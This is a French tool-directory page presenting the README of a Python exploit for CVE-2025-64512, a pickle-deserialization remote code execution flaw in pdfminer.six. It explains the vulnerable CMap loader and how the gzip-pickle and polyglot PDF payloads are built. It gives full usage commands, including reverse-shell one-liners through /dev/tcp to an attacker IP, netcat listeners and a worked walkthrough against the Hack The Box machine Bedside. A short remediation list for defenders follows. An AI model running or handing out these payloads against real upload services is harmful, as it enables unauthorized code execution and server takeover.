Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-64512_PoC — PoC Python pour CVE-2025-64512, une RCE par désérialisation de pickle dans pdfminer.six. Génère des charges utiles pickle compressées en gzip et des PDF polyglottes, puis les livre à des portails de téléversement pour des tests autorisés. | Kitploit
Outils/GitHubGitHub/jinook-kim/cve-2025-64512_poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéCTFTests d'IntrusionApprentissage et Éducation
GitHub
jinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

PoC Python pour CVE-2025-64512, une RCE par désérialisation de pickle dans pdfminer.six. Génère des charges utiles pickle compressées en gzip et des PDF polyglottes, puis les livre à des portails de téléversement pour des tests autorisés.

Voir le dépôt
il y a 16h 19mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-64512 — exploit RCE de pdfminer.six

Python 3, stdlib uniquement (aucune installation pip). Pour les tests de sécurité autorisés et l'usage en CTF uniquement — vous êtes responsable du respect de la loi et des règles d'engagement de votre mission.

CVECVE-2025-64512
Affectépdfminer.six < 20251107 (corrigé dans 20251107 — les CMaps sont devenus du JSON)
Victimes en avalmarkitdown < 0.1.4, pdfplumber < 0.11.8
TypeCWE-502 désérialisation de données non fiables → RCE non authentifiée
PoC de référenceluigigubello/CVE-2025-64512-Polyglot-PoC (variante polyglotte mono-fichier)

Cible testée : https://app.hackthebox.com/machines/Bedside


1. La vulnérabilité, en termes simples

pdfminer.six est une bibliothèque Python populaire pour extraire du texte depuis des PDF. Les polices PDF ont besoin de CMaps — des tables qui traduisent les codes de caractères en Unicode — et pdfminer les fournit sous forme de pickles gzippés (<name>.pickle.gz) à l'intérieur de son propre paquet. Regardez comment un CMap est chargé (pdfminer/cmapdb.py, toutes les versions antérieures à 20251107) :

root@kitploit:~
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # the ONLY sanitization
    filename = "%s.pickle.gz" % name               # ← attacker controls `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← absolute name ignores the dir!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

Trois failles s'empilent :

  1. name provient du PDF lui-même. L'entrée /Encoding d'une police Type0 (CID) est un name PDF, et l'attaquant le contrôle entièrement. Les noms PDF ne peuvent pas contenir un / brut, il est donc écrit avec les échappements hexadécimaux standard RFC : le nom /#2f#76#61#72#2f… se décode en /var/….
  2. Bizarrerie de os.path.join. Lorsque le second argument est absolu, le premier est entièrement ignoré. Ainsi un nom /var/www/site/uploads/shell fait que pdfminer regarde /var/www/site/uploads/shell.pickle.gz — n'importe quel chemin sur le disque — au lieu de son propre répertoire CMap.
  3. pickle.loads() sur le contenu du fichier. Un pickle peut porter des instructions « reconstruis-moi en appelant cette fonction » (__reduce__). Désérialiser des octets contrôlés par l'attaquant = exécuter du code attaquant, à l'intérieur du processus qui a appelé pdfminer.

Prérequis d'exploitation — le bug est trivialement exploitable sur toute application qui vous donne les deux moitiés de l'équation :

  • un moyen de placer un fichier à un chemin absolu connu (un portail d'upload ; le chemin fuite souvent dans les messages d'erreur),
  • un moyen de faire analyser par le serveur un PDF que vous contrôlez (à l'upload, sur un endpoint de conversion, via un watcher/cron en arrière-plan, …).

2. Ce que fait le script

  1. Construit un pickle gzippé : {"__reduce__": eval("__import__('os').system('<votre commande>')")}.
  2. Construit un PDF minimal mais structurellement valide dont le seul contenu est une page qui utilise une police Type0 dont le /Encoding nomme le chemin absolu de votre pickle.
  3. Le livre :
    • --mode two (par défaut) — uploade <name>.pickle.gz, puis <name>.pdf. À utiliser chaque fois que la cible n'analyse que les fichiers avec une extension PDF (par ex. un watcher qui glob uploads/*.pdf).
    • --mode polyglot — uploade un seul fichier <name>.pickle.gz qui est à la fois un gzip-pickle valide et un PDF valide : tout le PDF se cache dans le champ FCOMMENT de l'en-tête gzip (la RFC 1952 autorise les commentaires ; la signature %PDF- se trouve à l'octet 10, et les offsets xref sont pré-décalés pour que la table reste valide). À utiliser lorsque la cible analyse tout fichier uploadé comme PDF quelle que soit l'extension (convertisseurs de type markitdown).
  4. Vérifie optionnellement que les fichiers sont bien arrivés (--verify), attend le cycle de traitement de la cible (--wait), et peut préfixer un oracle de callback (--callback) qui rappelle la maison avant l'exécution de votre commande — afin de prouver l'exécution même si votre canal principal échoue.

3. Installation

Rien à installer — Python 3.10+ (utilise la syntaxe str | None) :

root@kitploit:~
chmod +x cve_2025_64512.py

4. Utilisation

4.1 Répétez d'abord en local

Générez des payloads d'exemple et (si un pdfminer vulnérable est importable) exécutez-les dans votre propre Python pour prouver que la chaîne fonctionne avant de toucher une cible :

root@kitploit:~
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

La sortie attendue se termine par SELFTEST PASS pour le déclencheur à deux fichiers et pour le polyglotte. Vous pouvez aussi tester manuellement :

root@kitploit:~
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # vulnerable pdfminer only
cat /tmp/pwned                                  # → your uid

4.2 Portail d'upload générique (style Bedside)

root@kitploit:~
# 1. start a listener for your command's callback channel
nc -lvnp 4444

# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

Référence complète des arguments :

ArgumentRôle
--commandCommande shell à exécuter sur la cible (requis). Elle s'exécute sous sh -c, donc pipes/redirections/sous-shells fonctionnent.
--urlL'endpoint d'upload qui reçoit les POST multipart.
--upload-urlRemplace la cible du POST si les uploads vont vers une URL différente de --url.
--fieldNom du champ multipart (lisez le <form> HTML du portail ; courants : uploadFile, file).
--pathRépertoire absolu côté serveur où arrivent les uploads (par ex. /var/www/site/uploads). Le PDF y nomme le pickle, il doit donc être exact.
--leak-pathVous ne connaissez pas le chemin ? Uploadez du contenu malformé et récupérez-le depuis le message d'erreur du portail (beaucoup de portails affichent la destination).
--nameNom de base des fichiers générés (par défaut shell). Randomisez si vous relancez pour éviter les fichiers obsolètes.
--modetwo (par défaut) ou polyglot — voir §2.
--callback URLPréfixe un fetch HTTP vers URL avant votre commande ; lancez python3 -m http.server 8000 et guettez le hit. Oracle d'exécution.
--wait NDort N secondes après l'upload — calez-vous sur la cadence de traitement de la cible (les watchers/cron sondent souvent toutes les 30 s ; attendez un cycle complet avant de conclure à l'échec).
--verify /uploadsGET chaque fichier uploadé ensuite pour confirmer qu'il est arrivé là où le PDF l'attend.
--timeout, --out-dir, --no-upload, --selftestTimeout HTTP, répertoire de sortie local, mode génération seule, répétition locale.

4.3 Exemple concret — HTB Bedside

root@kitploit:~
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # listener

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)

5. Dépannage

SymptômeCause / correctif
MIME type mismatch à l'uploadLe portail renifle le contenu, pas seulement l'extension. Les deux payloads sont de vrais gzip / de vrais PDF — vérifiez que vous ne les avez pas tronqués ; le trigger doit commencer par %PDF-, le pickle doit se décompresser (gzip -t).
Upload OK, rien ne s'exécute1) Attendez un cycle complet de watcher/cron (--wait 35). 2) Confirmez que le pickle est accessible à <path>/<name>.pickle.gz (--verify). 3) Vérifiez que le processus exécutant pdfminer peut lire votre fichier. 4) Utilisez --callback pour un signal d'exécution définitif.
Chemin d'upload inconnu--leak-path, ou déclenchez n'importe quelle erreur de validation et lisez le message.
Le polyglotte ne se déclenche jamaisLe fichier analysé doit être le même fichier se terminant par .pickle.gz. Si la cible n'analyse que les uploads *.pdf, utilisez --mode two.
TypeError: type.__new__() argument 3 must be dict dans les logs ciblesC'est un succès — pdfminer a exécuté votre pickle puis a trébuché sur sa propre valeur de retour. Inoffensif.
Cible patchéepdfminer ≥ 20251107 charge les CMaps depuis du JSON. Rien à exploiter ici.

6. Remédiation (pour les défenseurs)

  • Mettez à niveau pdfminer.six ≥ 20251107 ; patchez markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8.
  • Ne placez jamais de fichiers inscriptibles par l'attaquant là où un parseur résout des chemins à partir de métadonnées internes au fichier ; servez les uploads depuis un stockage que le parseur ne peut que lire.
  • Traitez chaque désérialiseur comme une exécution de code : pickle.loads, torch.load, yaml.load sur des octets non fiables relèvent tous de la même classe de bug. Préférez les formats de données seuls (JSON, Safetensors, ONNX).
  • Désactivez les en-têtes de type X-Powered-By et renvoyez des erreurs génériques — les deux ont fuité la liste des ingrédients sur Bedside.
Télécharger l’outil